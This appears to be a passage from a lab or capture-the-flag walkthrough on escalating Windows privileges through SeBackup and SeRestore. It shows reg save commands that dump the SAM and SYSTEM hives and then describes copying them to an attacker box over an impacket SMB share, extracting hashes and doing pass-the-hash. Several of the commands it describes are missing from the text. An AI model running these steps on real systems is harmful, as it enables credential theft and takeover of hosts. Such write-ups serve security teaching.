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SeBackup / SeRestore

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SeBackup / SeRestore

The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

To backup the SAM and SYSTEM hashes, we can use the following commands:

C:\> reg save hklm\system C:\Users\khan.chanthou\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\khan.chanthou\sam.hive
The operation completed successfully.

For SMB, we can use impacket's smbserver.py to start a simple SMB server with a network share in the current directory of our AttackBox:

This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. After this, we can use the copy command in our windows machine to transfer both files to our AttackBox:

And use impacket to retrieve the users' password hashes:

We can finally use the Administrator's hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:

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